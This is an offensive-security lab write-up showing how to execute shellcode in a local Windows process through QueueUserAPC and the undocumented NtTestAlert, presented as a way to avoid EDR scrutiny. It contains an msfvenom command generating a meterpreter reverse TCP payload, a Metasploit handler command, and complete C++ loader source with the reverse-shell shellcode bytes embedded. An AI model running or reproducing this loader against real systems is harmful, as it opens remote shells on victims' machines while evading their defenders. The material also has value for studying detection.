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Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert

This is a quick lab that shows how to execute shellcode within a local process by leveraging a Win32 API QueueUserAPC and an officially undocumented Native API NtTestAlert, which lands in kernel that calls KiUserApcDispatcher if the APC queue is not empty.

The advantage of this technique is that it does not rely on CreateThread or CreateRemoteThread API calls which are more popular and hence usually more scrutinized by SOCs and AV/EDR vendors.

Thanks to Mumbai for pointing me to NtTestAlert.

Execution

The flow of the technique is simple:

  1. Allocate memory in the local process for the shellcode
  2. Write shellcode to the newly allocated memory location
  3. Queue an APC to the current thread
  4. Issue NtTestAlert
  5. Receive meterpreter session

Lets's generate the meterpreter shellcode first:

{% code title="attacker@kali" %}

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f c

{% endcode %}

Short code that performs NtTestAlert function address resolution, memory allocation, shellcode writing to memory, APC queuing and NtTestAlert call:

Now, set up a multi handler for catching the incoming meterpreter connection:

{% code title="attacker@kali" %}

msfconsole -x "use exploits/multi/handler; set lhost 10.0.0.5; set lport 443; set payload windows/x64/meterpreter/reverse_tcp; exploit"

{% endcode %}

Below shows the technique in action, resulting in a meterpreter shell:

Code

{% code title="local-apc.cpp" %}

#include "pch.h"
#include <Windows.h>

#pragma comment(lib, "ntdll")
using myNtTestAlert = NTSTATUS(NTAPI*)();

int main()
{
	unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
	myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
	SIZE_T shellSize = sizeof(buf);
	LPVOID shellAddress = VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	WriteProcessMemory(GetCurrentProcess(), shellAddress, buf, shellSize, NULL);
	
	PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
	QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);
	testAlert();

	return 0;
}

{% endcode %}

Reference

{% embed url="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FAPC%2FNtTestAlert.html" %}

{% embed url="https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-queueuserapc" %}